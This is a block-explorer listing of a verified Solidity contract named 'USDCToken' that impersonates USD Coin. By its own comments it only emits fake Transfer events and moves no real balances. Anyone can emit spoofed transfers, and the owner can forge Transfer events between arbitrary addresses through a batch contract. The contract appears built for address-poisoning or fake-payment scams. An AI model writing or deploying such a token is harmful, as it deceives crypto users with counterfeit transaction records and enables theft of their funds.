Skip to content
Verified contractPartialMIT

USDCToken

Address0xece44b8031704dd063340d2e1ccd09fa5864eb82
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.20

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.20+commit.a1b79de6
Language
solidity
Optimization
No
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
24,594,963
Creation transaction
0xced6eb23a0…5866601a4a

USDCToken.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title USDCToken — emits Transfer events without moving real balances.
///         transfer() is open to anyone (emits Transfer(tx.origin, to, amount)).
///         transferFrom() is restricted to tx.origin == owner so the batch
///         contract can emit Transfer(from, to, amount) for arbitrary addresses.
contract USDCToken {
    address private _owner;
    string  public  signature;

    string  private constant NAME     = "USD Coin";
    string  private constant SYMBOL   = "USDC";
    uint8   private constant DECIMALS = 6;
    uint256 private constant SUPPLY   = 43511203157000000;

    event Transfer(address indexed from, address indexed to, uint256 value);

    error Unauthorized();

    constructor() {
        _owner = tx.origin;
    }

    function name() external pure returns (string memory) { return NAME; }
    function symbol() external pure returns (string memory) { return SYMBOL; }
    function decimals() external pure returns (uint8) { return DECIMALS; }
    function totalSupply() external pure returns (uint256) { return SUPPLY; }
    function balanceOf(address) external pure returns (uint256) { return 0; }

    function _name() external pure returns (string memory) { return NAME; }
    function _symbol() external pure returns (string memory) { return SYMBOL; }
    function _decimals() external pure returns (uint8) { return DECIMALS; }
    function _totalSupply() external pure returns (uint256) { return SUPPLY; }

    function transfer(address to, uint256 amount) external returns (bool) {
        emit Transfer(tx.origin, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        if (tx.origin != _owner) revert Unauthorized();
        emit Transfer(from, to, amount);
        return true;
    }
}
Compiler settingsShow
{
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  }
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.